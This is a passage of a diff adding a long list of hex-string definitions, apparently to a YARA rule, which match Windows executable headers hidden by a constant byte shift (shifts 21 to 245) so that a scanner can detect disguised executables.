+		$encrypted_pe_header_shift_21 = { 11 ce 15 62 6f a5 15 18 15 15 15 97 19 15 45 14 14 15 }
+		$encrypted_pe_header_shift_22 = { 12 cf 16 63 70 a6 16 19 16 16 16 98 1a 16 46 15 15 16 }
+		$encrypted_pe_header_shift_23 = { 13 d0 17 64 71 a7 17 1a 17 17 17 99 1b 17 47 16 16 17 }
+		$encrypted_pe_header_shift_24 = { 14 d1 18 65 72 a8 18 1b 18 18 18 9a 1c 18 48 17 17 18 }
+		$encrypted_pe_header_shift_25 = { 15 d2 19 66 73 a9 19 1c 19 19 19 9b 1d 19 49 18 18 19 }
+		$encrypted_pe_header_shift_26 = { 16 d3 1a 67 74 aa 1a 1d 1a 1a 1a 9c 1e 1a 4a 19 19 1a }
+		$encrypted_pe_header_shift_27 = { 17 d4 1b 68 75 ab 1b 1e 1b 1b 1b 9d 1f 1b 4b 1a 1a 1b }
+		$encrypted_pe_header_shift_28 = { 18 d5 1c 69 76 ac 1c 1f 1c 1c 1c 9e 20 1c 4c 1b 1b 1c }
+		$encrypted_pe_header_shift_29 = { 19 d6 1d 6a 77 ad 1d 20 1d 1d 1d 9f 21 1d 4d 1c 1c 1d }
+		$encrypted_pe_header_shift_30 = { 1a d7 1e 6b 78 ae 1e 21 1e 1e 1e a0 22 1e 4e 1d 1d 1e }
+		$encrypted_pe_header_shift_31 = { 1b d8 1f 6c 79 af 1f 22 1f 1f 1f a1 23 1f 4f 1e 1e 1f }
+		$encrypted_pe_header_shift_32 = { 1c d9 20 6d 7a b0 20 23 20 20 20 a2 24 20 50 1f 1f 20 }
+		$encrypted_pe_header_shift_33 = { 1d da 21 6e 7b b1 21 24 21 21 21 a3 25 21 51 20 20 21 }
+		$encrypted_pe_header_shift_34 = { 1e db 22 6f 7c b2 22 25 22 22 22 a4 26 22 52 21 21 22 }
+		$encrypted_pe_header_shift_35 = { 1f dc 23 70 7d b3 23 26 23 23 23 a5 27 23 53 22 22 23 }
+		$encrypted_pe_header_shift_36 = { 20 dd 24 71 7e b4 24 27 24 24 24 a6 28 24 54 23 23 24 }
+		$encrypted_pe_header_shift_37 = { 21 de 25 72 7f b5 25 28 25 25 25 a7 29 25 55 24 24 25 }
+		$encrypted_pe_header_shift_38 = { 22 df 26 73 80 b6 26 29 26 26 26 a8 2a 26 56 25 25 26 }
+		$encrypted_pe_header_shift_39 = { 23 e0 27 74 81 b7 27 2a 27 27 27 a9 2b 27 57 26 26 27 }
+		$encrypted_pe_header_shift_40 = { 24 e1 28 75 82 b8 28 2b 28 28 28 aa 2c 28 58 27 27 28 }
+		$encrypted_pe_header_shift_41 = { 25 e2 29 76 83 b9 29 2c 29 29 29 ab 2d 29 59 28 28 29 }
+		$encrypted_pe_header_shift_42 = { 26 e3 2a 77 84 ba 2a 2d 2a 2a 2a ac 2e 2a 5a 29 29 2a }
+		$encrypted_pe_header_shift_43 = { 27 e4 2b 78 85 bb 2b 2e 2b 2b 2b ad 2f 2b 5b 2a 2a 2b }
+		$encrypted_pe_header_shift_44 = { 28 e5 2c 79 86 bc 2c 2f 2c 2c 2c ae 30 2c 5c 2b 2b 2c }
+		$encrypted_pe_header_shift_45 = { 29 e6 2d 7a 87 bd 2d 30 2d 2d 2d af 31 2d 5d 2c 2c 2d }
+		$encrypted_pe_header_shift_46 = { 2a e7 2e 7b 88 be 2e 31 2e 2e 2e b0 32 2e 5e 2d 2d 2e }
+		$encrypted_pe_header_shift_47 = { 2b e8 2f 7c 89 bf 2f 32 2f 2f 2f b1 33 2f 5f 2e 2e 2f }
+		$encrypted_pe_header_shift_48 = { 2c e9 30 7d 8a c0 30 33 30 30 30 b2 34 30 60 2f 2f 30 }
+		$encrypted_pe_header_shift_49 = { 2d ea 31 7e 8b c1 31 34 31 31 31 b3 35 31 61 30 30 31 }
+		$encrypted_pe_header_shift_50 = { 2e eb 32 7f 8c c2 32 35 32 32 32 b4 36 32 62 31 31 32 }
+		$encrypted_pe_header_shift_51 = { 2f ec 33 80 8d c3 33 36 33 33 33 b5 37 33 63 32 32 33 }
+		$encrypted_pe_header_shift_52 = { 30 ed 34 81 8e c4 34 37 34 34 34 b6 38 34 64 33 33 34 }
+		$encrypted_pe_header_shift_53 = { 31 ee 35 82 8f c5 35 38 35 35 35 b7 39 35 65 34 34 35 }
+		$encrypted_pe_header_shift_54 = { 32 ef 36 83 90 c6 36 39 36 36 36 b8 3a 36 66 35 35 36 }
+		$encrypted_pe_header_shift_55 = { 33 f0 37 84 91 c7 37 3a 37 37 37 b9 3b 37 67 36 36 37 }
+		$encrypted_pe_header_shift_56 = { 34 f1 38 85 92 c8 38 3b 38 38 38 ba 3c 38 68 37 37 38 }
+		$encrypted_pe_header_shift_57 = { 35 f2 39 86 93 c9 39 3c 39 39 39 bb 3d 39 69 38 38 39 }
+		$encrypted_pe_header_shift_58 = { 36 f3 3a 87 94 ca 3a 3d 3a 3a 3a bc 3e 3a 6a 39 39 3a }
+		$encrypted_pe_header_shift_59 = { 37 f4 3b 88 95 cb 3b 3e 3b 3b 3b bd 3f 3b 6b 3a 3a 3b }
+		$encrypted_pe_header_shift_60 = { 38 f5 3c 89 96 cc 3c 3f 3c 3c 3c be 40 3c 6c 3b 3b 3c }
+		$encrypted_pe_header_shift_61 = { 39 f6 3d 8a 97 cd 3d 40 3d 3d 3d bf 41 3d 6d 3c 3c 3d }
+		$encrypted_pe_header_shift_62 = { 3a f7 3e 8b 98 ce 3e 41 3e 3e 3e c0 42 3e 6e 3d 3d 3e }
+		$encrypted_pe_header_shift_63 = { 3b f8 3f 8c 99 cf 3f 42 3f 3f 3f c1 43 3f 6f 3e 3e 3f }
+		$encrypted_pe_header_shift_64 = { 3c f9 40 8d 9a d0 40 43 40 40 40 c2 44 40 70 3f 3f 40 }
+		$encrypted_pe_header_shift_65 = { 3d fa 41 8e 9b d1 41 44 41 41 41 c3 45 41 71 40 40 41 }
+		$encrypted_pe_header_shift_66 = { 3e fb 42 8f 9c d2 42 45 42 42 42 c4 46 42 72 41 41 42 }
+		$encrypted_pe_header_shift_67 = { 3f fc 43 90 9d d3 43 46 43 43 43 c5 47 43 73 42 42 43 }
+		$encrypted_pe_header_shift_68 = { 40 fd 44 91 9e d4 44 47 44 44 44 c6 48 44 74 43 43 44 }
+		$encrypted_pe_header_shift_69 = { 41 fe 45 92 9f d5 45 48 45 45 45 c7 49 45 75 44 44 45 }
+		$encrypted_pe_header_shift_70 = { 42 ff 46 93 a0 d6 46 49 46 46 46 c8 4a 46 76 45 45 46 }
+		$encrypted_pe_header_shift_71 = { 43 00 47 94 a1 d7 47 4a 47 47 47 c9 4b 47 77 46 46 47 }
+		$encrypted_pe_header_shift_72 = { 44 01 48 95 a2 d8 48 4b 48 48 48 ca 4c 48 78 47 47 48 }
+		$encrypted_pe_header_shift_73 = { 45 02 49 96 a3 d9 49 4c 49 49 49 cb 4d 49 79 48 48 49 }
+		$encrypted_pe_header_shift_74 = { 46 03 4a 97 a4 da 4a 4d 4a 4a 4a cc 4e 4a 7a 49 49 4a }
+		$encrypted_pe_header_shift_75 = { 47 04 4b 98 a5 db 4b 4e 4b 4b 4b cd 4f 4b 7b 4a 4a 4b }
+		$encrypted_pe_header_shift_76 = { 48 05 4c 99 a6 dc 4c 4f 4c 4c 4c ce 50 4c 7c 4b 4b 4c }
+		$encrypted_pe_header_shift_77 = { 49 06 4d 9a a7 dd 4d 50 4d 4d 4d cf 51 4d 7d 4c 4c 4d }
+		$encrypted_pe_header_shift_78 = { 4a 07 4e 9b a8 de 4e 51 4e 4e 4e d0 52 4e 7e 4d 4d 4e }
+		$encrypted_pe_header_shift_79 = { 4b 08 4f 9c a9 df 4f 52 4f 4f 4f d1 53 4f 7f 4e 4e 4f }
+		$encrypted_pe_header_shift_80 = { 4c 09 50 9d aa e0 50 53 50 50 50 d2 54 50 80 4f 4f 50 }
+		$encrypted_pe_header_shift_81 = { 4d 0a 51 9e ab e1 51 54 51 51 51 d3 55 51 81 50 50 51 }
+		$encrypted_pe_header_shift_82 = { 4e 0b 52 9f ac e2 52 55 52 52 52 d4 56 52 82 51 51 52 }
+		$encrypted_pe_header_shift_83 = { 4f 0c 53 a0 ad e3 53 56 53 53 53 d5 57 53 83 52 52 53 }
+		$encrypted_pe_header_shift_84 = { 50 0d 54 a1 ae e4 54 57 54 54 54 d6 58 54 84 53 53 54 }
+		$encrypted_pe_header_shift_85 = { 51 0e 55 a2 af e5 55 58 55 55 55 d7 59 55 85 54 54 55 }
+		$encrypted_pe_header_shift_86 = { 52 0f 56 a3 b0 e6 56 59 56 56 56 d8 5a 56 86 55 55 56 }
+		$encrypted_pe_header_shift_87 = { 53 10 57 a4 b1 e7 57 5a 57 57 57 d9 5b 57 87 56 56 57 }
+		$encrypted_pe_header_shift_88 = { 54 11 58 a5 b2 e8 58 5b 58 58 58 da 5c 58 88 57 57 58 }
+		$encrypted_pe_header_shift_89 = { 55 12 59 a6 b3 e9 59 5c 59 59 59 db 5d 59 89 58 58 59 }
+		$encrypted_pe_header_shift_90 = { 56 13 5a a7 b4 ea 5a 5d 5a 5a 5a dc 5e 5a 8a 59 59 5a }
+		$encrypted_pe_header_shift_91 = { 57 14 5b a8 b5 eb 5b 5e 5b 5b 5b dd 5f 5b 8b 5a 5a 5b }
+		$encrypted_pe_header_shift_92 = { 58 15 5c a9 b6 ec 5c 5f 5c 5c 5c de 60 5c 8c 5b 5b 5c }
+		$encrypted_pe_header_shift_93 = { 59 16 5d aa b7 ed 5d 60 5d 5d 5d df 61 5d 8d 5c 5c 5d }
+		$encrypted_pe_header_shift_94 = { 5a 17 5e ab b8 ee 5e 61 5e 5e 5e e0 62 5e 8e 5d 5d 5e }
+		$encrypted_pe_header_shift_95 = { 5b 18 5f ac b9 ef 5f 62 5f 5f 5f e1 63 5f 8f 5e 5e 5f }
+		$encrypted_pe_header_shift_96 = { 5c 19 60 ad ba f0 60 63 60 60 60 e2 64 60 90 5f 5f 60 }
+		$encrypted_pe_header_shift_97 = { 5d 1a 61 ae bb f1 61 64 61 61 61 e3 65 61 91 60 60 61 }
+		$encrypted_pe_header_shift_98 = { 5e 1b 62 af bc f2 62 65 62 62 62 e4 66 62 92 61 61 62 }
+		$encrypted_pe_header_shift_99 = { 5f 1c 63 b0 bd f3 63 66 63 63 63 e5 67 63 93 62 62 63 }
+		$encrypted_pe_header_shift_100 = { 60 1d 64 b1 be f4 64 67 64 64 64 e6 68 64 94 63 63 64 }
+		$encrypted_pe_header_shift_101 = { 61 1e 65 b2 bf f5 65 68 65 65 65 e7 69 65 95 64 64 65 }
+		$encrypted_pe_header_shift_102 = { 62 1f 66 b3 c0 f6 66 69 66 66 66 e8 6a 66 96 65 65 66 }
+		$encrypted_pe_header_shift_103 = { 63 20 67 b4 c1 f7 67 6a 67 67 67 e9 6b 67 97 66 66 67 }
+		$encrypted_pe_header_shift_104 = { 64 21 68 b5 c2 f8 68 6b 68 68 68 ea 6c 68 98 67 67 68 }
+		$encrypted_pe_header_shift_105 = { 65 22 69 b6 c3 f9 69 6c 69 69 69 eb 6d 69 99 68 68 69 }
+		$encrypted_pe_header_shift_106 = { 66 23 6a b7 c4 fa 6a 6d 6a 6a 6a ec 6e 6a 9a 69 69 6a }
+		$encrypted_pe_header_shift_107 = { 67 24 6b b8 c5 fb 6b 6e 6b 6b 6b ed 6f 6b 9b 6a 6a 6b }
+		$encrypted_pe_header_shift_108 = { 68 25 6c b9 c6 fc 6c 6f 6c 6c 6c ee 70 6c 9c 6b 6b 6c }
+		$encrypted_pe_header_shift_109 = { 69 26 6d ba c7 fd 6d 70 6d 6d 6d ef 71 6d 9d 6c 6c 6d }
+		$encrypted_pe_header_shift_110 = { 6a 27 6e bb c8 fe 6e 71 6e 6e 6e f0 72 6e 9e 6d 6d 6e }
+		$encrypted_pe_header_shift_111 = { 6b 28 6f bc c9 ff 6f 72 6f 6f 6f f1 73 6f 9f 6e 6e 6f }
+		$encrypted_pe_header_shift_112 = { 6c 29 70 bd ca 00 70 73 70 70 70 f2 74 70 a0 6f 6f 70 }
+		$encrypted_pe_header_shift_113 = { 6d 2a 71 be cb 01 71 74 71 71 71 f3 75 71 a1 70 70 71 }
+		$encrypted_pe_header_shift_114 = { 6e 2b 72 bf cc 02 72 75 72 72 72 f4 76 72 a2 71 71 72 }
+		$encrypted_pe_header_shift_115 = { 6f 2c 73 c0 cd 03 73 76 73 73 73 f5 77 73 a3 72 72 73 }
+		$encrypted_pe_header_shift_116 = { 70 2d 74 c1 ce 04 74 77 74 74 74 f6 78 74 a4 73 73 74 }
+		$encrypted_pe_header_shift_117 = { 71 2e 75 c2 cf 05 75 78 75 75 75 f7 79 75 a5 74 74 75 }
+		$encrypted_pe_header_shift_118 = { 72 2f 76 c3 d0 06 76 79 76 76 76 f8 7a 76 a6 75 75 76 }
+		$encrypted_pe_header_shift_119 = { 73 30 77 c4 d1 07 77 7a 77 77 77 f9 7b 77 a7 76 76 77 }
+		$encrypted_pe_header_shift_120 = { 74 31 78 c5 d2 08 78 7b 78 78 78 fa 7c 78 a8 77 77 78 }
+		$encrypted_pe_header_shift_121 = { 75 32 79 c6 d3 09 79 7c 79 79 79 fb 7d 79 a9 78 78 79 }
+		$encrypted_pe_header_shift_122 = { 76 33 7a c7 d4 0a 7a 7d 7a 7a 7a fc 7e 7a aa 79 79 7a }
+		$encrypted_pe_header_shift_123 = { 77 34 7b c8 d5 0b 7b 7e 7b 7b 7b fd 7f 7b ab 7a 7a 7b }
+		$encrypted_pe_header_shift_124 = { 78 35 7c c9 d6 0c 7c 7f 7c 7c 7c fe 80 7c ac 7b 7b 7c }
+		$encrypted_pe_header_shift_125 = { 79 36 7d ca d7 0d 7d 80 7d 7d 7d ff 81 7d ad 7c 7c 7d }
+		$encrypted_pe_header_shift_126 = { 7a 37 7e cb d8 0e 7e 81 7e 7e 7e 00 82 7e ae 7d 7d 7e }
+		$encrypted_pe_header_shift_127 = { 7b 38 7f cc d9 0f 7f 82 7f 7f 7f 01 83 7f af 7e 7e 7f }
+		$encrypted_pe_header_shift_128 = { 7c 39 80 cd da 10 80 83 80 80 80 02 84 80 b0 7f 7f 80 }
+		$encrypted_pe_header_shift_129 = { 7d 3a 81 ce db 11 81 84 81 81 81 03 85 81 b1 80 80 81 }
+		$encrypted_pe_header_shift_130 = { 7e 3b 82 cf dc 12 82 85 82 82 82 04 86 82 b2 81 81 82 }
+		$encrypted_pe_header_shift_131 = { 7f 3c 83 d0 dd 13 83 86 83 83 83 05 87 83 b3 82 82 83 }
+		$encrypted_pe_header_shift_132 = { 80 3d 84 d1 de 14 84 87 84 84 84 06 88 84 b4 83 83 84 }
+		$encrypted_pe_header_shift_133 = { 81 3e 85 d2 df 15 85 88 85 85 85 07 89 85 b5 84 84 85 }
+		$encrypted_pe_header_shift_134 = { 82 3f 86 d3 e0 16 86 89 86 86 86 08 8a 86 b6 85 85 86 }
+		$encrypted_pe_header_shift_135 = { 83 40 87 d4 e1 17 87 8a 87 87 87 09 8b 87 b7 86 86 87 }
+		$encrypted_pe_header_shift_136 = { 84 41 88 d5 e2 18 88 8b 88 88 88 0a 8c 88 b8 87 87 88 }
+		$encrypted_pe_header_shift_137 = { 85 42 89 d6 e3 19 89 8c 89 89 89 0b 8d 89 b9 88 88 89 }
+		$encrypted_pe_header_shift_138 = { 86 43 8a d7 e4 1a 8a 8d 8a 8a 8a 0c 8e 8a ba 89 89 8a }
+		$encrypted_pe_header_shift_139 = { 87 44 8b d8 e5 1b 8b 8e 8b 8b 8b 0d 8f 8b bb 8a 8a 8b }
+		$encrypted_pe_header_shift_140 = { 88 45 8c d9 e6 1c 8c 8f 8c 8c 8c 0e 90 8c bc 8b 8b 8c }
+		$encrypted_pe_header_shift_141 = { 89 46 8d da e7 1d 8d 90 8d 8d 8d 0f 91 8d bd 8c 8c 8d }
+		$encrypted_pe_header_shift_142 = { 8a 47 8e db e8 1e 8e 91 8e 8e 8e 10 92 8e be 8d 8d 8e }
+		$encrypted_pe_header_shift_143 = { 8b 48 8f dc e9 1f 8f 92 8f 8f 8f 11 93 8f bf 8e 8e 8f }
+		$encrypted_pe_header_shift_144 = { 8c 49 90 dd ea 20 90 93 90 90 90 12 94 90 c0 8f 8f 90 }
+		$encrypted_pe_header_shift_145 = { 8d 4a 91 de eb 21 91 94 91 91 91 13 95 91 c1 90 90 91 }
+		$encrypted_pe_header_shift_146 = { 8e 4b 92 df ec 22 92 95 92 92 92 14 96 92 c2 91 91 92 }
+		$encrypted_pe_header_shift_147 = { 8f 4c 93 e0 ed 23 93 96 93 93 93 15 97 93 c3 92 92 93 }
+		$encrypted_pe_header_shift_148 = { 90 4d 94 e1 ee 24 94 97 94 94 94 16 98 94 c4 93 93 94 }
+		$encrypted_pe_header_shift_149 = { 91 4e 95 e2 ef 25 95 98 95 95 95 17 99 95 c5 94 94 95 }
+		$encrypted_pe_header_shift_150 = { 92 4f 96 e3 f0 26 96 99 96 96 96 18 9a 96 c6 95 95 96 }
+		$encrypted_pe_header_shift_151 = { 93 50 97 e4 f1 27 97 9a 97 97 97 19 9b 97 c7 96 96 97 }
+		$encrypted_pe_header_shift_152 = { 94 51 98 e5 f2 28 98 9b 98 98 98 1a 9c 98 c8 97 97 98 }
+		$encrypted_pe_header_shift_153 = { 95 52 99 e6 f3 29 99 9c 99 99 99 1b 9d 99 c9 98 98 99 }
+		$encrypted_pe_header_shift_154 = { 96 53 9a e7 f4 2a 9a 9d 9a 9a 9a 1c 9e 9a ca 99 99 9a }
+		$encrypted_pe_header_shift_155 = { 97 54 9b e8 f5 2b 9b 9e 9b 9b 9b 1d 9f 9b cb 9a 9a 9b }
+		$encrypted_pe_header_shift_156 = { 98 55 9c e9 f6 2c 9c 9f 9c 9c 9c 1e a0 9c cc 9b 9b 9c }
+		$encrypted_pe_header_shift_157 = { 99 56 9d ea f7 2d 9d a0 9d 9d 9d 1f a1 9d cd 9c 9c 9d }
+		$encrypted_pe_header_shift_158 = { 9a 57 9e eb f8 2e 9e a1 9e 9e 9e 20 a2 9e ce 9d 9d 9e }
+		$encrypted_pe_header_shift_159 = { 9b 58 9f ec f9 2f 9f a2 9f 9f 9f 21 a3 9f cf 9e 9e 9f }
+		$encrypted_pe_header_shift_160 = { 9c 59 a0 ed fa 30 a0 a3 a0 a0 a0 22 a4 a0 d0 9f 9f a0 }
+		$encrypted_pe_header_shift_161 = { 9d 5a a1 ee fb 31 a1 a4 a1 a1 a1 23 a5 a1 d1 a0 a0 a1 }
+		$encrypted_pe_header_shift_162 = { 9e 5b a2 ef fc 32 a2 a5 a2 a2 a2 24 a6 a2 d2 a1 a1 a2 }
+		$encrypted_pe_header_shift_163 = { 9f 5c a3 f0 fd 33 a3 a6 a3 a3 a3 25 a7 a3 d3 a2 a2 a3 }
+		$encrypted_pe_header_shift_164 = { a0 5d a4 f1 fe 34 a4 a7 a4 a4 a4 26 a8 a4 d4 a3 a3 a4 }
+		$encrypted_pe_header_shift_165 = { a1 5e a5 f2 ff 35 a5 a8 a5 a5 a5 27 a9 a5 d5 a4 a4 a5 }
+		$encrypted_pe_header_shift_166 = { a2 5f a6 f3 00 36 a6 a9 a6 a6 a6 28 aa a6 d6 a5 a5 a6 }
+		$encrypted_pe_header_shift_167 = { a3 60 a7 f4 01 37 a7 aa a7 a7 a7 29 ab a7 d7 a6 a6 a7 }
+		$encrypted_pe_header_shift_168 = { a4 61 a8 f5 02 38 a8 ab a8 a8 a8 2a ac a8 d8 a7 a7 a8 }
+		$encrypted_pe_header_shift_169 = { a5 62 a9 f6 03 39 a9 ac a9 a9 a9 2b ad a9 d9 a8 a8 a9 }
+		$encrypted_pe_header_shift_170 = { a6 63 aa f7 04 3a aa ad aa aa aa 2c ae aa da a9 a9 aa }
+		$encrypted_pe_header_shift_171 = { a7 64 ab f8 05 3b ab ae ab ab ab 2d af ab db aa aa ab }
+		$encrypted_pe_header_shift_172 = { a8 65 ac f9 06 3c ac af ac ac ac 2e b0 ac dc ab ab ac }
+		$encrypted_pe_header_shift_173 = { a9 66 ad fa 07 3d ad b0 ad ad ad 2f b1 ad dd ac ac ad }
+		$encrypted_pe_header_shift_174 = { aa 67 ae fb 08 3e ae b1 ae ae ae 30 b2 ae de ad ad ae }
+		$encrypted_pe_header_shift_175 = { ab 68 af fc 09 3f af b2 af af af 31 b3 af df ae ae af }
+		$encrypted_pe_header_shift_176 = { ac 69 b0 fd 0a 40 b0 b3 b0 b0 b0 32 b4 b0 e0 af af b0 }
+		$encrypted_pe_header_shift_177 = { ad 6a b1 fe 0b 41 b1 b4 b1 b1 b1 33 b5 b1 e1 b0 b0 b1 }
+		$encrypted_pe_header_shift_178 = { ae 6b b2 ff 0c 42 b2 b5 b2 b2 b2 34 b6 b2 e2 b1 b1 b2 }
+		$encrypted_pe_header_shift_179 = { af 6c b3 00 0d 43 b3 b6 b3 b3 b3 35 b7 b3 e3 b2 b2 b3 }
+		$encrypted_pe_header_shift_180 = { b0 6d b4 01 0e 44 b4 b7 b4 b4 b4 36 b8 b4 e4 b3 b3 b4 }
+		$encrypted_pe_header_shift_181 = { b1 6e b5 02 0f 45 b5 b8 b5 b5 b5 37 b9 b5 e5 b4 b4 b5 }
+		$encrypted_pe_header_shift_182 = { b2 6f b6 03 10 46 b6 b9 b6 b6 b6 38 ba b6 e6 b5 b5 b6 }
+		$encrypted_pe_header_shift_183 = { b3 70 b7 04 11 47 b7 ba b7 b7 b7 39 bb b7 e7 b6 b6 b7 }
+		$encrypted_pe_header_shift_184 = { b4 71 b8 05 12 48 b8 bb b8 b8 b8 3a bc b8 e8 b7 b7 b8 }
+		$encrypted_pe_header_shift_185 = { b5 72 b9 06 13 49 b9 bc b9 b9 b9 3b bd b9 e9 b8 b8 b9 }
+		$encrypted_pe_header_shift_186 = { b6 73 ba 07 14 4a ba bd ba ba ba 3c be ba ea b9 b9 ba }
+		$encrypted_pe_header_shift_187 = { b7 74 bb 08 15 4b bb be bb bb bb 3d bf bb eb ba ba bb }
+		$encrypted_pe_header_shift_188 = { b8 75 bc 09 16 4c bc bf bc bc bc 3e c0 bc ec bb bb bc }
+		$encrypted_pe_header_shift_189 = { b9 76 bd 0a 17 4d bd c0 bd bd bd 3f c1 bd ed bc bc bd }
+		$encrypted_pe_header_shift_190 = { ba 77 be 0b 18 4e be c1 be be be 40 c2 be ee bd bd be }
+		$encrypted_pe_header_shift_191 = { bb 78 bf 0c 19 4f bf c2 bf bf bf 41 c3 bf ef be be bf }
+		$encrypted_pe_header_shift_192 = { bc 79 c0 0d 1a 50 c0 c3 c0 c0 c0 42 c4 c0 f0 bf bf c0 }
+		$encrypted_pe_header_shift_193 = { bd 7a c1 0e 1b 51 c1 c4 c1 c1 c1 43 c5 c1 f1 c0 c0 c1 }
+		$encrypted_pe_header_shift_194 = { be 7b c2 0f 1c 52 c2 c5 c2 c2 c2 44 c6 c2 f2 c1 c1 c2 }
+		$encrypted_pe_header_shift_195 = { bf 7c c3 10 1d 53 c3 c6 c3 c3 c3 45 c7 c3 f3 c2 c2 c3 }
+		$encrypted_pe_header_shift_196 = { c0 7d c4 11 1e 54 c4 c7 c4 c4 c4 46 c8 c4 f4 c3 c3 c4 }
+		$encrypted_pe_header_shift_197 = { c1 7e c5 12 1f 55 c5 c8 c5 c5 c5 47 c9 c5 f5 c4 c4 c5 }
+		$encrypted_pe_header_shift_198 = { c2 7f c6 13 20 56 c6 c9 c6 c6 c6 48 ca c6 f6 c5 c5 c6 }
+		$encrypted_pe_header_shift_199 = { c3 80 c7 14 21 57 c7 ca c7 c7 c7 49 cb c7 f7 c6 c6 c7 }
+		$encrypted_pe_header_shift_200 = { c4 81 c8 15 22 58 c8 cb c8 c8 c8 4a cc c8 f8 c7 c7 c8 }
+		$encrypted_pe_header_shift_201 = { c5 82 c9 16 23 59 c9 cc c9 c9 c9 4b cd c9 f9 c8 c8 c9 }
+		$encrypted_pe_header_shift_202 = { c6 83 ca 17 24 5a ca cd ca ca ca 4c ce ca fa c9 c9 ca }
+		$encrypted_pe_header_shift_203 = { c7 84 cb 18 25 5b cb ce cb cb cb 4d cf cb fb ca ca cb }
+		$encrypted_pe_header_shift_204 = { c8 85 cc 19 26 5c cc cf cc cc cc 4e d0 cc fc cb cb cc }
+		$encrypted_pe_header_shift_205 = { c9 86 cd 1a 27 5d cd d0 cd cd cd 4f d1 cd fd cc cc cd }
+		$encrypted_pe_header_shift_206 = { ca 87 ce 1b 28 5e ce d1 ce ce ce 50 d2 ce fe cd cd ce }
+		$encrypted_pe_header_shift_207 = { cb 88 cf 1c 29 5f cf d2 cf cf cf 51 d3 cf ff ce ce cf }
+		$encrypted_pe_header_shift_208 = { cc 89 d0 1d 2a 60 d0 d3 d0 d0 d0 52 d4 d0 00 cf cf d0 }
+		$encrypted_pe_header_shift_209 = { cd 8a d1 1e 2b 61 d1 d4 d1 d1 d1 53 d5 d1 01 d0 d0 d1 }
+		$encrypted_pe_header_shift_210 = { ce 8b d2 1f 2c 62 d2 d5 d2 d2 d2 54 d6 d2 02 d1 d1 d2 }
+		$encrypted_pe_header_shift_211 = { cf 8c d3 20 2d 63 d3 d6 d3 d3 d3 55 d7 d3 03 d2 d2 d3 }
+		$encrypted_pe_header_shift_212 = { d0 8d d4 21 2e 64 d4 d7 d4 d4 d4 56 d8 d4 04 d3 d3 d4 }
+		$encrypted_pe_header_shift_213 = { d1 8e d5 22 2f 65 d5 d8 d5 d5 d5 57 d9 d5 05 d4 d4 d5 }
+		$encrypted_pe_header_shift_214 = { d2 8f d6 23 30 66 d6 d9 d6 d6 d6 58 da d6 06 d5 d5 d6 }
+		$encrypted_pe_header_shift_215 = { d3 90 d7 24 31 67 d7 da d7 d7 d7 59 db d7 07 d6 d6 d7 }
+		$encrypted_pe_header_shift_216 = { d4 91 d8 25 32 68 d8 db d8 d8 d8 5a dc d8 08 d7 d7 d8 }
+		$encrypted_pe_header_shift_217 = { d5 92 d9 26 33 69 d9 dc d9 d9 d9 5b dd d9 09 d8 d8 d9 }
+		$encrypted_pe_header_shift_218 = { d6 93 da 27 34 6a da dd da da da 5c de da 0a d9 d9 da }
+		$encrypted_pe_header_shift_219 = { d7 94 db 28 35 6b db de db db db 5d df db 0b da da db }
+		$encrypted_pe_header_shift_220 = { d8 95 dc 29 36 6c dc df dc dc dc 5e e0 dc 0c db db dc }
+		$encrypted_pe_header_shift_221 = { d9 96 dd 2a 37 6d dd e0 dd dd dd 5f e1 dd 0d dc dc dd }
+		$encrypted_pe_header_shift_222 = { da 97 de 2b 38 6e de e1 de de de 60 e2 de 0e dd dd de }
+		$encrypted_pe_header_shift_223 = { db 98 df 2c 39 6f df e2 df df df 61 e3 df 0f de de df }
+		$encrypted_pe_header_shift_224 = { dc 99 e0 2d 3a 70 e0 e3 e0 e0 e0 62 e4 e0 10 df df e0 }
+		$encrypted_pe_header_shift_225 = { dd 9a e1 2e 3b 71 e1 e4 e1 e1 e1 63 e5 e1 11 e0 e0 e1 }
+		$encrypted_pe_header_shift_226 = { de 9b e2 2f 3c 72 e2 e5 e2 e2 e2 64 e6 e2 12 e1 e1 e2 }
+		$encrypted_pe_header_shift_227 = { df 9c e3 30 3d 73 e3 e6 e3 e3 e3 65 e7 e3 13 e2 e2 e3 }
+		$encrypted_pe_header_shift_228 = { e0 9d e4 31 3e 74 e4 e7 e4 e4 e4 66 e8 e4 14 e3 e3 e4 }
+		$encrypted_pe_header_shift_229 = { e1 9e e5 32 3f 75 e5 e8 e5 e5 e5 67 e9 e5 15 e4 e4 e5 }
+		$encrypted_pe_header_shift_230 = { e2 9f e6 33 40 76 e6 e9 e6 e6 e6 68 ea e6 16 e5 e5 e6 }
+		$encrypted_pe_header_shift_231 = { e3 a0 e7 34 41 77 e7 ea e7 e7 e7 69 eb e7 17 e6 e6 e7 }
+		$encrypted_pe_header_shift_232 = { e4 a1 e8 35 42 78 e8 eb e8 e8 e8 6a ec e8 18 e7 e7 e8 }
+		$encrypted_pe_header_shift_233 = { e5 a2 e9 36 43 79 e9 ec e9 e9 e9 6b ed e9 19 e8 e8 e9 }
+		$encrypted_pe_header_shift_234 = { e6 a3 ea 37 44 7a ea ed ea ea ea 6c ee ea 1a e9 e9 ea }
+		$encrypted_pe_header_shift_235 = { e7 a4 eb 38 45 7b eb ee eb eb eb 6d ef eb 1b ea ea eb }
+		$encrypted_pe_header_shift_236 = { e8 a5 ec 39 46 7c ec ef ec ec ec 6e f0 ec 1c eb eb ec }
+		$encrypted_pe_header_shift_237 = { e9 a6 ed 3a 47 7d ed f0 ed ed ed 6f f1 ed 1d ec ec ed }
+		$encrypted_pe_header_shift_238 = { ea a7 ee 3b 48 7e ee f1 ee ee ee 70 f2 ee 1e ed ed ee }
+		$encrypted_pe_header_shift_239 = { eb a8 ef 3c 49 7f ef f2 ef ef ef 71 f3 ef 1f ee ee ef }
+		$encrypted_pe_header_shift_240 = { ec a9 f0 3d 4a 80 f0 f3 f0 f0 f0 72 f4 f0 20 ef ef f0 }
+		$encrypted_pe_header_shift_241 = { ed aa f1 3e 4b 81 f1 f4 f1 f1 f1 73 f5 f1 21 f0 f0 f1 }
+		$encrypted_pe_header_shift_242 = { ee ab f2 3f 4c 82 f2 f5 f2 f2 f2 74 f6 f2 22 f1 f1 f2 }
+		$encrypted_pe_header_shift_243 = { ef ac f3 40 4d 83 f3 f6 f3 f3 f3 75 f7 f3 23 f2 f2 f3 }
+		$encrypted_pe_header_shift_244 = { f0 ad f4 41 4e 84 f4 f7 f4 f4 f4 76 f8 f4 24 f3 f3 f4 }
+		$encrypted_pe_header_shift_245 = { f1 ae f5 42 4f 85 f5 f8 f5 f5 f5 77 f9 f5 25 f4 f4 f5 }
